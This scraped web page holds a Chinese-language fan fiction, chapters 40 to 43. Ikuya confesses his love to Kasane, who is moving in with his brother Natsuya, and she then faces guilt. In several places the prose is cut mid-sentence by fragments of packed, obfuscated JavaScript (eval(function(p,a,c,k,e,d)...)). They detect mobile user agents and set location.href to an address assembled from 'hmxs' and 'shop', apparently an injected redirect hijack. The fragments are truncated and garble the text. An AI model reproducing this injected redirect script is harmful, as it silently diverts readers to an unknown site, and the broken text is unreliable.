0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797501|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好像在运行一个糟糕的程序，每条通路通向的都是“false”。 风音不觉得自己算是伶牙俐齿，也难怪这时候更加说不出什么了，这通电话空落落地中断，她什么也没能问到。 明明今天的郁弥看起来和平常好不一样，可他偏偏什么也不想说。 对于郁弥，这倒也正常。要是变得百分百坦率，风音估计会被吓一大跳。说不定给他点时间就能恢复好了，就和以前一样。 这么想着，忽然觉得安心了——她难得地从棘手的问题里逃走了。 然后睡觉、上学、去训练，从满当当的日程表里凑点空闲时间去逛街。如果运气好到能和夏也有相同时段的悠闲，那就一起去吃饭，可惜这也是最近很少有的享受，常常会因为延长的练习赛而层层降级，从电影变成晚饭最后只能缩短到夜间散步，唯一的惊喜成分是一定概率在绿化带刷新出来的流浪猫。 不过，就连流浪猫，似乎也越见越少了。风音不是好运到能常常在街头见到小猫的那个人，只是郁弥经常遇见，会贴心地拍给她看。 但在那天之后就很少再有这种事了，或许他也不再受到小猫青睐了吗？ 风音知道的，不只是猫的话题，而是他们之间整个交流都断崖式下跌了。 现在才发现，迫不及待分享的他，像是时不时会靠近身边、希望她摸摸脑袋的小猫。可她现在就算是伸出手，估计也只能摸到空荡荡的一团空气了吧。 害怕对话落空的她，很久都没有主动和郁弥说过什么了。 想着这种事总难免出神，夏也的话重复了两遍才钻进耳朵里。 “我说。”还好，他很有耐心，“和我一起住吧。” 很突然的邀请。不至于会被吓到，不过这话还是害风音心脏突地一跳。 “好突然！”她故意摆出一副惊恐模样，“想打个措手不及吗？” “没有。我自己也是突然想到的。” 夏也捏捏她的手——把她当做橡皮泥了吗？ “就是觉得，要是住在一起了，见到彼此的时间就能变多。感觉会是一件好事。我们平时能凑到一起的时间还是太少了，不想浪费掉。” 风音还是故作战战兢兢：“那我不爱洗碗的事情也会被你知道的。这不是好事。” “没关系，我的手很擅长进行和水相关的工作。” 或好或坏，风音都不打算拒绝。但有自己在，郁弥是不是没办法自在地拜访哥哥家了？ 虽然意识到了这话，也没能说出口，正如一直以来很想问夏也的“郁弥最近怎么样”一次都没有直白地问过。 搬家算是麻烦事，要把犄角旮旯里的所有东西全部装好，再一件不落地重新拿出，绝对是对记忆里的重大考验，但对于从小到大辗转各处的风音来说不算什么。只花了几天时间，她就已经收拾好要带走的东西了，纸箱子堆在公寓的每个角落，看起来乱糟糟的。 把用空的胶带丢进垃圾桶时，听到了很轻的敲门声，也可能是什么东西撞在了门上——如果只是这样，倒不用太在意。以防万一，她还是决定去看看。 她将门敞开一条小缝，带着泥土气味的风一下子卷进来，暴雨的声音闯入耳中。 太专心着收拾东西了，直到这会儿，她才察觉到外面在下雨。 正如她现在才发现郁弥站在门外。 40.绝非任何人的过错 雨声嘈杂，像是砸在自己的心口。桐岛郁弥依然不太确定事情为什么会变成现在这样。 无论是风音的事、还是哥哥的事、亦或者是自己浑身湿透地出现在她家的门前，对于这一切他都觉得很茫然。他在风音的注视之中，花了点时间才觉得稍稍找回了一点自己的神智。 当然了，只有一点点而已。 总之，他绝对是陷入迷茫的情绪之中了。 他其实也不想一直思考着（或是说惦记着？）风音的事情，更不情愿在此之中还掺和进与哥哥相关的元素，可思维一点都不打算轻易地放过他。他会想起他们两个说起只有他们才明白的笑话时眯起眼的样子，也会想到他们走在一起时不由自主碰撞在一起的肩膀。实在过分了，他的大脑。 回想，以及回想。为什么一直在想，难道是嫉妒了吗？可能不是这么尖锐的情感吧。 那就是不甘心了？是吗？可能也不是。 真不想承认，他的懊悔并没有那么强烈，酸涩也是一样。所有的情绪都涌上来了，却来得都不那么强烈，却固执地存在着，积攒在心头，蓄成一汪池水，冰冷地动荡着，比任何时候都更加讨厌。 偶尔有几个瞬间，他会觉得当下的这种感觉并不陌生，似乎曾经有过。然后他便意识到了，这事确实是发生过的。 正如小时候，风音邀请他一起去踢足球，但他犹犹豫豫，被无聊的恼怒或是其他情绪牵绊着，赌气似的不搭理她。结果被她邀请的对象变成了夏也，迟了一步的他只能透过楼上的窗户看着他们跑走的背影。 曾经很常听到的人生道理是，人在成长的过程中虽然会遇到许多痛彻心扉的失败或是经历，但这些痛楚终究会在时间的磨砺之下化作自己的教训，自此之后再也不会遭遇相同的痛苦。正如无法两次踏入同一条河流，人也不会犯下同样的错误。 以前郁弥就没怎么把这句人生道理当做是什么必须信奉不可的真谛，现在也是一样——他甚至变得更加讨厌此等发言了，因为他正在经历着旧日的阵痛，惨兮兮地沉在第二次浸入的河水之中，大概率不会有人愿意拽他一把，就连他自己也不很那么情愿从水中站起。 “郁弥……郁弥？” 下午训练结束的时候，橘真琴一直在喊他。 郁弥猛得回过神来，氧气似乎一直等到了这一秒钟才重新鼓进他的胸膛之中。他不自觉地眨了几下眼，向真琴投去目光。 “怎么了？”他问。 “我正准备和你说一下这段时间训练成绩的分析情况。” 其实，关于训练的分析情况，刚才橘真琴已经说了整整五分钟了，只是这三百秒钟郁弥全都没有回过神来，直到真琴唤了几次才终于将这台在休息时间内宕机了的游泳机器重新唤醒。 顺便，是顾及到了他的自尊心，真琴才撒了个小小的谎言，说自己“正要”开始说重要的内容。 郁弥把双手缩到桌子下面，用力掐了掐虎口，钝钝的痛感在几秒钟之后才抵达大脑——还好还好，至少到达了终点，能让他切实地从一大堆的胡思乱想之中抽身而出。 然后，开始听橘真琴对他最近的训练情况进行过分详细的分析。 就读明条中央大□□动教育学专业的他的初中同学橘真琴最近正在为了论文收集数据，具体的论文主题真琴一定和郁弥说过，可惜他完全忘得精光——这么丢人的事他绝对不会暴露在真琴面前。总之，他只要知道真琴在最近的这一个半月都会旁观自己的训练情况、并且就每次训练成绩给出相当正经的分析就足够了。 郁弥本以为自己很可能会被（与自己完全无关的）恋爱事件影响，导致训练情况也受到牵连，但训练的时候，似乎谁也没有指出他有任何问题，就连真琴记录下的训练成绩也没有半点退步，甚至还好几次游出了比锦标赛时更好的成绩。倒是好事一桩。 看来，在水里的时候，他只会想着水里的事情。可一旦离开泳池，如同脱离水泽的鱼，哪怕只是稀松平常的空气，都在竭尽全力地榨干他的细胞。 换言之，他会感到痛苦。 “倒也没有什么特别的意思，只是想问问郁弥你，最近生活上还好吗？”就连真琴也这么说了，“总觉得你在训练结束之后很常发呆，日和也说你看起来很打不起精神。” “是嘛。” 郁弥巧妙地（真的吗？）躲开了正面回答，连借口都没有给出半句，就这么让话题沉寂了下去，害得真琴也不知道该说点什么才好了。 尽管如此，分别的时候真琴还是说了点类似“如果日程生活遇到什么烦心事的话很可能会反映在比赛结果上，无论如何还是要尽力调整好心态”之类的话，但他也可能不是这么说的，可惜郁弥能记得的只有这部分了。 一如既往道了谢。郁弥意识到自己最近确实表现得太自我太不谙世事了一点，干脆陪真琴等公交车回家，看着公交车远去之后，独自在车站坐了一会儿，决定跑步回去。 跑步的时候倒是不太容易胡思乱想，无论是旧日的懊恼还是当下的不甘全都会被甩到背后。 既然如此，干脆每一刻都跑个不停吧？他不禁冒出了这种诡异的念头。 当然了，这种事肯定是没办法实现的。他首先不是田径运动员，其次也没有深不见底的体力能够用来奔跑不停。况且，一旦身体开始适应了这种氧气不足、呼吸急促、体温过高的状态，他的思绪就会坏心思地再次探头探脑，像花园鳗那样拧着细长的身子从心底冒出来的。 滴答——有水滴从头顶上砸了下来，郁弥嫌弃地缩起肩膀。他以为是谁家的空调水从管道里滴下来了。 又有几滴水砸下来，滴滴答答不停，估计不是空调水在作祟了。郁弥抬起头，不知什么时候一朵阴沉到近乎完全发黑的积雨云飘到了头顶上，毫不留情地拧着云层中的所有水分。 于是，滴滴答答很快变成噼里啪啦，化作打翻的水盆从头顶浇下来。就算戴上了帽子，水分还是会渗透这层并不厚实的布料，钻进他的头发里，一路顺着脊背躺下去，冷得可怕。郁弥努力呼吸，可空气里满是砸碎的水雾，鼓进肺部，只觉得湿漉漉得难受。 早知道会这样，还是搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801982|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公交车回家更好。这样一来，现在的他一定已经坐在沙发上，一如既往想着风音和哥哥的事情，只在偶尔几秒庆幸着回家的路上没有淋到雨真是太好了，而不必像现在这样，盘绕在心头的痛苦事情毫无变化，还要被浇成落水狗，明明可以跑进路边的便利店躲躲雨或是买把伞，却还是像被某种不知名的情绪驱赶着继续往前奔跑。 似乎快要跑到夏也家附近了——郁弥最先是意识到了这一点，而后才看到了风音家的公寓楼。 绝对是鬼使神差，他沿着台阶向上，停在了挂着“鹿鸣”信箱的那扇门前。 说真的，从锦标赛之后，他几乎都没有给她发过任何消息，对于她的新消息，也只是短暂地给予回复而已，连他自己都觉得很敷衍。对于哥哥的回信也差不多，但夏也没感到奇怪，谁让郁弥一向都是这么不勤快的应对夏也的热情。 根本没必要来这里的，他又不想看到风音的脸。也没什么要和风音说的，现状成了这样，也没有再努力的余地了吧。他会接受现实的。 可是，为什么举起了手，想要叩响这道门呢？ 郁弥回过神来才意识到自己做出了这样的动作，还好最后一步尚未实现。他的手却是抬起来了，并没有真的敲响她家的门。现在回去还来得及，谁都不知道他来到了这里，正如谁也不会知道他自说自话冒了出来却又兀自落空的爱意一样。 真的，他真的已经下定决心要走了，但是门却在这时候打开了，室内很温暖的蜂蜜色灯光溢出来，与他对上视线的风音露出一点也不让他意外的意外表情。 “咦，外面在下雨吗？” 她说的第一句话是这个。 不是说起了他，当然也没有谈起夏也的事情，只是说着她丝毫没有察觉到的突然大变的天气。 郁弥闷闷地“嗯”了一声，没有多说。 他总觉得风音最该说的是“你怎么来了”，尽管这是个他还没有想好答案的问题，可率先被询问到的对象不是自己而是天气，多少让他觉得挺落寞——可恶，居然在嫉妒天气，自己也太无聊了吧？然后他才冒出了这种念头。 “你怎么浑身都湿透了？” 风音伸手过来，轻轻地扯了扯他的帽子，细细的几滴水从她捏合的手指间漏下来。 “是雨太大了，还是你忘记带伞了？啊，我问了句傻话，你要是带了伞，就不会淋成这样了。” 抛出的问题被她自己解答了，郁弥再一次不知道该说点什么才好。或许他该说“不好意思打扰了我现在就走”？但这话也还没来得及说出口，眼前的这扇门忽然关上了。 ……被拒之门外了吗？ 必须承认，在灯光消失的那一秒钟里，郁弥确实感觉到了前所未有的恐惧，仿佛曾经被不停往前走的哥哥丢在身后的那种恐惧。 还好，只是这一秒钟而已，门又被打开了——风音只是取下了挂在门锁上的链条而已。 她敞开了门。 “进来吧。不知道雨什么时候才会停下，你就先在我家把自己晾干好了。放心，我会借给你雨伞。” 41.坦白绝非易事 等到雨开始下起来才看天气预报，好像有点太晚了，但要是连瞄都不瞄一眼，未免显得对天气太不上心。 一关上门，风音立刻打开了天气预报app，指尖划过小时天气，一连串的水滴图表从眼前排着队划过去。 好嘛，接下来的十二小时全都下雨，且还是相当讨人厌的大雨，真叫人怀疑是不是天顶破了洞。 风音轻叹了一口气，把手机丢到沙发上，转头对郁弥说，要不要换身衣服。 “不知道你会不会觉得穿上异性的衣服有点别扭，因为我自己是觉得那很不对劲啦……啊，是了，你应该是不会介意的。” 她笑起来，无赖的做派又冒出来了。 “你连裙子都穿过，肯定不会介意穿我的衣服啦，对不对？正好我们俩的身高和体型都差不多。” “那件事你就别说了好不好！” 话语比预想的更加轻松地脱口而出了。 郁弥本以为，面对着风音的脸，他一定什么也不想说。将这份沉默归咎于恼怒或是赌气都没有关系，总之他肯定是什么都不会和她说的。 但就像是任何时候，只要她笑眯眯的、完全没有摆出任何对自己不快或是指责的态度，他的心也会立刻软化下来，无聊的那点固执彻底消失无踪。这可真是太糟了——完全被她拿捏住了，尽管她并没有支配他的意愿。 郁弥不自在地扯了扯衣角，把湿淋淋的碎发全部捋到脑后，可总还有那么几根恼人的发丝会随着重力坠回到眼前，挡住视线的一角。他干脆无视了这几根头发的存在，磨蹭着脱掉湿透的外套，余光能瞥见到风音正在拆开堆在墙边的纸箱，从里头寻找衣服。 ……纸箱？ 肯定是见到了风音的这件事害他变得太过迟钝了，那么明显的几大个纸箱就堆在墙边，显眼到不能更加显眼，他居然一直到了现在才留意到它们的存在。 郁弥的动作瞬间顿住了，一股诡异的寒意冲上大脑，好在没有将他的意识全部冻住，所以他才能很平静地问出这句：“你要搬家了吗？” “嗯。” 风音的声音听起来闷闷的。都怪她把脑袋差不多全部塞进了纸箱里，又太过专心地在寻找着那件新买的甚至没来得及下水的oversize针织衫，以至于她不太认真的应声被纸箱子罩住，听起来比任何时候都显得更加敷衍。 哦。果然是要搬家了。 意识到这一点之后，郁弥终于开始动起来了。他脱掉外套，然后是T恤，靠在沙发旁，不自觉地将湿衣服绞在手上，滴滴答答，挤出的水分濡湿了地毯，留下一滩难看的圆形水泽。 他说，佯装不经意地说：“打算搬得离学校更近一点吗？” “这个嘛……好像也没有近很多。” 风音往箱子里埋得更深了一点。可恶的新衣服，难道消失无踪了吗？ 话题在说到这里的时候，稍稍沉寂了片刻，似乎没有再继续下去的必要。至少郁弥觉得自己的不想要知道更多了，但这张可恶的嘴——在该说点什么的时候保持缄默，偏偏在这应当缄口不言的当下，却抛出了没有必要的好奇。 “你要搬到什么地方去？” “没打算去很远的地方啦。”她忽得直起后背，手里拿着一件薄薄的华夫格的上衣，摊开来给他看，“我想找的那件衣服找不到了，你觉得穿这件可以吗？看起来还挺宽松的，绝对不会让你觉得被勒得难受吧。” 他像是没听到风音的询问，“你要搬去哪里？” 这份固执让郁弥自己都觉得有点意外，也难怪风音不自在地眨了眨眼，很无奈地垂下了手。 “搬去夏也那里住。” 她坦白说。 一直在躲避正面的回答，当然是因为她知道这个回答对于郁弥来说一定不是什么他渴望听到的事情。 但蹩脚的敷衍真的只是为了照顾他的心情吗？或许不全是吧。她肯定也觉得，要和郁弥坦白这种事实不算愉快。 郁弥别开脑袋，不去看她，闷闷地说，这件衣服就可以了。 无论他是在无视眼前的问题，还是主动不再纠结这件事，他的反应在风音看来都很值得松一口气。她不自觉地扯了下嘴角，倒也不是觉得多开心，只是觉得轻松了不少，赶紧把衣服丢给他。 “你再等我一下，让我把吹风机从箱子里掏出来。” “为什么突然要和他同居了？” 问题又回来了，看来刚才的庆幸来得太早了一点。 风音在郁弥看不见的地方默默做了个鬼脸，可惜把自己的五官扯成奇怪的模样也并不会让心情变好多少，她只能尽量让自己的语气听起来足够轻快。 “他邀请了我，所以答应了。而且两个人住不也挺好的，房租一下子就可以减半了。我可是一直在期待着这种理想之中的合租者出现呢。” 他不说话，风音甚至怀疑他都没有认真在听。 其实已经解释得差不多了，可她还是忍不住要一直说：“好啦，我知道没有第一时间和你说谈了恋爱的事情特别不好。我绝对没有想抢你哥的意思。不是说好不生气了吗？” “……”还是沉默。 “就算是生气也要和我说一声、顺便给我一个挽回的机会对不对？” 郁弥不回答，兀自别开脑袋，无处可去的视线不经意间扫过茶几上的信封，上面写着稚嫩的字母，拼凑出他一向不懂的语言，已经被拆开了，压在信封下方的好像是被折起来的信纸。 完全只是为了不去想风音与她的心情，他伸手去拿信纸。 其实那也不是一封信，而是一张小小的画，笔触和信封的字迹一样稚嫩，画的是鸢尾花。 “这是什么？”他问。 风音在找新毛巾，话语听起来不太专心，“安德烈亚寄给我的。他觉得是很得意的作品，送给我当做礼物了。” “你弟弟吗？” “嗯。” 弟弟……他从没见过的那个人，但是哥哥见过。他们还一起吃了饭。 心绪开始翻滚，这个瞬间，湿漉漉的他的身体居然不再冰冷，反而翻起一股燥热。 “你弟弟是怎样的人？”他察觉到自己的话语里有一点多余的烦躁。 风音似乎没发现，想了想，摇头了，“说不好。我和他往来不多，不太明白这孩子在想什么，不过他愿意送我礼物，我很开心。” “为什么不问问他？” “他可能不会想和我说的。他不是一个百分百坦诚的孩子。” “可你甚至都不问！” “……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808010|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 风音听到了很突兀的呼吸声——郁弥赤.裸的胸腔高高鼓起，与吐息一起从胸腔中挤出的是极其微弱的呜咽声，还有他的眼泪。 “对，我可能是生气了，但不是为了哥的事情……是你啊，是你。” 他喃喃着，直到这话说出口之后，他才仿佛终于找回了自己的声音，可以正声说点什么了。 “但我生气的对象也不是你，我只是很气自己。为什么没能早一点把喜欢你这件事说出来呢？明明我从很久以前就喜欢你了，一定比哥哥更早。” 比他们背靠背努力在身高方面压过对方一头要早，比她抱着足球让他快点下楼还早，比他们比赛谁的乳牙最先掉光更早，明明是一直以来就存在于此的情感，可非要踟蹰到无法挽回的现在才说出口，真是憎恨不已——憎恨的当然是自己。 “我也不是在生气，也没有嫉妒——我要这些情绪干什么？可是……不甘心，好不甘心。我一直在想你和哥的事，最近最近一直在想。” 想到他们交叠的手，想起被自己错过的征兆，想起哥哥曾经说过的近乎像是暗示的话语。他该意识到的，可是完全错过了所有暗示。 滴答。滴答。滴答。 雨水沿着发梢落下，眼泪顺着脸颊淌落，冰冷地或是炽热地存续着。自从将风音的存在从视线中驱逐，他根本没有抬起头，很可能是不敢这么做，因为一旦视线从脚下挪开，就会看到她的面孔。而她会露出怎样的表情呢，惊讶还是意外，甚至有可能会是嫌弃？不愿去想，所以不想去看。 “如果你或者哥是更糟糕的人就好了，这样我就能心安理得地把现状全都怪到你们的身上，自己什么罪责都不用担。可我喜欢哥，也喜欢你。我根本找不到能让所有的心情全都保持平和的状态，我只能百分百地憎恨这一切，否则就只能……为什么不可以是我？被你喜欢的那个人，和你共享秘密的那个人，可以握住你的手的人，为什么不可以是我？我——” 郁弥也不知道自己接下来会说出什么了。他像是一台运转错误的机器，开始蹦出不对劲的话语，如果继续说下去，他或许真的会崩溃，但是风音伸出了手。 她捧住了他的脸，她擦干了他的眼泪，于是他不想再说了，抬起眼眸，看到了她生气的脸。 “我说过的，我和你说过。”她简直是咬牙切齿的，“我说了，我不会知道你在想什么，所以你要告诉我才行，要对我坦诚才行……你该告诉我的。” 眼泪又涌出来了，郁弥几乎喘不上气。 “如果我说了，能和你在一起的那个人就不是哥哥了，是吗？”他的手溺水般在空中挣扎着，一下子攥住她的手腕，攥得好紧，“会变成这样的，是吗？因为你喜欢的是我，而不是哥哥，对吧？” 无法回答。 或许是对着一个被感情百分百支配的人，没有办法给出诚恳的回答，也可能是风音根本不敢去想这个问题的答案。 她知道，她喜欢夏也吗，对他的爱会是理所应当的一件事。但是…… 心脏跳得有点过快了，害得大脑陷入眩晕，她第一次感到“思考”是多么可怕的事情。 于是，向前一步，她吻了郁弥，任由他过分炽热的身体紧紧缠住自己。 至少在那个瞬间，她放弃了思考。 42.罪恶感将连绵增长 醒来时，心跳很快。 这是正常的生理现象，听说是因为睡眠抵达快速眼动阶段之后，异常兴奋的交感神经会导致身体自然而然地出现心跳加速以及呼吸变快之类的一系列反应，通常在这个阶段忽然醒来，身体会来不及切换到平静状态，以至于这种自然的生理反应会被一直带到清醒状态之中。 但风音不觉得自己过快的心跳是交感神经过度兴奋导致的…… 好吧，可能和交感神经真的有点关系，可绝对与刚刚结束的睡眠没有关系，因为她已经醒来了差不多有五分钟，可她的心跳还是快得让人讨厌，仿佛刚刚才结束四小节的比赛，最重要的最后一节刚刚才吹响哨声。 真是的，在紧张什么呢？风音忍不住嘲笑自己，暗自心想，这世上绝对不会有什么人躺在自己的床上紧张得不行的。 除非她的床上很可能躺着另一个人。 现在风音正缩着床的边缘，面朝墙壁发呆。她好像能听到席梦思发出吱呀的声音，从床的另一头会传来微弱到不知道是真实存在还是错觉而已的震动。但很可能有另一个人存在的概率怎么想都不算低，毕竟…… 风音试图住脑，可是大脑还是自顾自开始重播昨晚发生的事情了。 简单来说，不管是该做的还是不该做的，昨晚全都做了——亲吻也好抚摸也罢，很可恶地纠缠了好久。 明明这些事情，她都还没有和夏也做过。怎么想都觉得这才是最最糟糕的一点。 可恶啊，她居然变成这种人了…… 被浓郁的后悔彻底浸泡，一直僵在床边的风音终于动了动。 准确地说，她的动作看起来更像是抽搐了一下，整个人像煮熟的虾那样团了起来，羞愧到整个人都要开始冒热气。 早就该知道，人类一旦摒弃思考就会落得这种下场，她偏偏还要放弃让她痛苦不已的思考模式，害自己彻底变成了随波逐流的生物，真是太罪恶了。 风音当然很想进行一系列的自我安慰（或是自我欺骗），告诉自己，追逐着欲求做事并不是什么顶顶糟糕的事情，她也已经是能够承担起责任的成年人了，大不了和郁弥开诚布公地谈一谈，彼此都把昨天发生的事情忘记好了。 可另一方面，她毕竟是被道德和法律教育着长大的正直小孩，在还是小屁孩的时候就能义正词严地公开指责出轨的父亲。结果现在，她却做出了和皮埃尔一样的事情——甚至还要再糟糕一点，毕竟他掺和进的三角恋里可不包含血缘因素。 有风从窗户的缝隙间钻进来了，冷冷地爬上她的脊髓，一路向下，简直像是满怀指责地戳她的骨头。 “你简直是比你父亲还要更加不道德的家伙！”——这阵风肯定在这么说。 风音受不了了。 无论是装作什么都不知道，还是要直面自己犯下的错误，实在都很煎熬。她决定选择更让她痛苦的那一侧。 不再假装熟睡了，她飞快地坐起来。 “呐，郁弥……诶？” 床的另一侧是空的，谁也不在那里。 如果不是被子上还留有躺过的褶皱，枕头也微微向下凹陷出微弱的半圆形，她真的会怀疑昨晚的记忆纯粹只是梦境作祟而已。 也就是说，刚才她所感觉到的床的另一侧的动静，只是错觉吗——是她不安的心跳弹在床垫上，所激起的震荡？ 风音抓了抓脑袋，多少有点懵。 说真的，面对这种情况，不懵才是比较奇怪的事情。好在她很快就找回了所有的理性，翻身下床，朝客厅走去。 又试着唤了唤郁弥，依然没有听到回音，毕竟他已经不在这个家里了，就连地毯上的水泽都已经彻底干透。 天知道他是什么时候走掉的，居然一声不响地消失无踪。 倒是正常，一直以来郁弥都是比她更加擅长逃避问题的家伙。可风音并不想忍受这种很正常、很郁弥式的行为，恼火感在意识到他不在这里的瞬间就立刻点燃了。她冲回房间，拿起手机，拨通了他的电话。 最初还是正常节奏的通话音，过了几秒才很突兀地变成了“您拨打的电话正在通话中”。 居然挂她的电话！ 风音更火大了。完全是在愤怒心情的驱使之下，她的拇指啪嗒啪嗒敲在键盘上。 「Kasane：你逃走了？」 这条消息只隔了两秒钟就变成了已读状态，可对面甚至连输入中的字样都没有跳出来。 一般来说，当愤怒抵达某种程度之后，通常就不会再继续上升了，化作一声冷笑之后就会变成彻底的仇恨。而这就是现在的风音。 「Kasane：胆小鬼」 回复完这句话之后，她就再也不看屏幕了，暗自心想，无论郁弥事后再找什么借口，她也绝不会原谅他的逃脱行为。 没错，他们确实做了很糟糕的事情，但要是连一起坐下来谈谈的余地都不存在的话，一定比做错了事还要错。 纯粹是为了平复过分动荡的心情，风音去洗了个冷水澡，被远低于体温的水浇到牙齿都打架不停，这才觉得找到了走回房间的勇气，随手在纸箱里摸出一件上衣，穿上，印在胸前的红色大写的字母“A”吓得她几乎原地跳起。 花了两秒钟才想起来这件衣服是阿迪达斯的，出现品牌的首字母“A”的花纹好像也很正常。 风音猛松了口气。 说真的，还以为自己要钻进纳撒尼尔·霍桑的《红字》里演上一集了。 感谢这几秒的慌张，刚刚被冷水浇透的身体一下子就热了起来，甚至有点太过燥热，害得她出了一身薄汗。她赶紧把黏在皮肤上的这件衣服脱下来，重新塞回箱子里。 虽然这件衣服上的“A”是“Adidas”而不是“Adultery”，但瓜田李下，至少今天她肯定是没勇气让自己的胸前多上一枚红字的。 换了另一件上衣，勉强是冷静下来了，可忽然响起的门铃又险些让她掉进不安的境地之中。 瞄一眼时钟。现在还早，就算是邮递员也不会在这时候敲响她的门，况且最近也不会有什么人要寄东西给她。和邻居之间也不熟，更没可能是朋友来家里找她玩。 想来想去，唯一想到合理的可能性，居然是逃走的郁弥回来了。 想到他灰溜溜的模样，好不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812398|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易消下去的心情又要开始烧起来了，风音一点也不想去开门，可是门铃又响了一遍，催着她快点走到玄关，转动门把手。 “咦，我今天惹你生气了吗？” 是夏也。 “为什么这么不高兴地看着我？” 如果现在有一面镜子，风音将会看到自己摆出了一副仿佛吃到蟑螂的表情——意外、震惊、且有点恶心。 “没有……我的起床气而已。”她找了个蹩脚的借口。 赶紧把门打开，然后赶紧移开目光，看着夏也的眼睛就要想起昨天郁弥泪眼婆娑的样子了。他们的眼睛太相似。 “你为什么上午就过来了？” 她可不是在没话找话。本来就和夏也说好今天搬家的，他也主动请缨，提出下午过来帮忙搬东西。造访时间忽然从下午提前到了大清早，就算没有心虚因子的加持，风音也会觉得很奇怪的。 “你前几天不是说东西太多了，一直没收拾好嘛，我觉得早点过来的话可以帮帮你。”他说着，四下环视了一圈，看到的全都是纸箱子，“看起来已经不需要我帮忙了？” 风音耸肩：“差不多是吧。” “诶——那我岂不是白来？” 他装出一副好委屈的样子，可怜兮兮地望着风音。 这副伪装肯定是为了激起她的包容和愧疚之心，但似乎激得太多了一点，风音连一句“不好意思”都不好意思说，只抱着他的手臂笑笑，想了想才说，还留了一张完全没有收拾过的床，如果他愿意帮忙的话，她一定会感激不尽的。 “为什么还没有收拾床？” 夏也问她，可她露出一副理所应当的表情：“为什么要收拾？我要睡觉的嘛。床一向都是我搬家前最后一个打包的位置。” “原来你的打包节奏是这样的。” “难道你会早早地把床收拾好吗？” “会啊。然后最后一晚睡在沙发上。” 如果刚才还觉得夏也是在很正经地说事情，那当他说出“睡沙发”之后，风音就可以确信他肯定只是在说无聊的笑话欺骗自己了。 不过，无聊的笑话也很不错，足够让她那点无意义的心虚和紧张消失无踪。 果然和夏也在一起度过的时间是很自在的。她忍不住想。 “总之剩下的这点工作就拜托你了，请帮我把枕头被子还有床垫全部塞进这个箱子里。”她抽出塞在墙边的扁扁纸箱，“然后我要去吃早饭了，谢谢。” “遵命。” 就这么把麻烦活外包了出去，风音第一次感觉到今天的心情还算不错。 从橱柜里摸出剩下的小半包麦片，还有冰箱里的最后一点牛奶，所有的碗碟都已经被收好了，干脆直接把牛奶倒进麦片包装袋里。想着弄脏了餐桌还得擦，她索性站在水槽边进食，相当难得但是懒惰至极。 麦片受潮了，不算美味，牛奶好像也有点不新鲜了，她吃得越来越慢，最后干脆冒出了“把它们倒进下水道当做我在这个公寓留下的最后遗产好了”的糟糕念头。 还好，这么邪恶的念头并未实现。 夏也忽然从背后抱住她。 43.不需要理由 以夏也的体型来说，如果想要将脚步声化作无物，大概率是相当难以实现的事情，所以风音真的不知道他究竟是怎么悄无声息地来到自己身后的——难道是难吃到极点的麦片加牛奶麻痹了她的五感，害得她完全没有注意到背后的动静吗，还是她压根就是个警惕心很低的迟钝家伙？ 不管是夏也太过狡猾，还是自己缺乏敏锐，当他的臂膀忽然触碰到腰间时，风音的确不可避免地被吓了一大跳。 真的，一点也不夸张，她真的跳起来了，整个人就像是被阴湿章鱼缠上那样猛抖了一下，差点被牛奶呛到。但要是真呛到的话那也太倒霉了，她可不希望自己的整个口腔都被这恶心的奶腥气填满。 如此看来，唯一的好消息可能是她没有被吓到发出任何奇怪的声音，否则她的尊严也将在今日大受打击。 就这么悄无声息的，夏也的臂膀沿着她的侧腰滑过去，指尖拂过微微凹陷的肋下，动作好轻，几乎感觉不到他施加的任何力气。 他的手交叠着穿过身前，紧紧地抱住了她。能感觉到他结实的胸膛贴在脊背上，带着热乎乎的温度，隐隐约约还能感觉到跳动的心脏吧。夏也低下了头，把脸颊埋在她的颈窝里，嗅着她发间的气味，轻轻地蹭他。 听到了他的呼吸声，沉重却平稳，但没有听到他说点什么。他就这么拥抱她。 夏也不算是话语很多的那种人，可这样的安静更少有，被他一言不发地抱着，风音有点不敢动——总觉得不管做了什么，都会打破此刻相对平衡的氛围。过分的安静也让她一度怀疑抱着她的会不会是其他人，但就在余光一角，翘起的是她最熟悉的温暖的棕发，所以拥抱着她的就是夏也没有错。 只是他抱得如此紧，恍恍之间，会让她觉得，夏也连一秒钟都不情愿松开。 冷却的沉默与依旧温暖拥抱齐头并进，掺杂在一起，维持了好久，风音终于动了动。 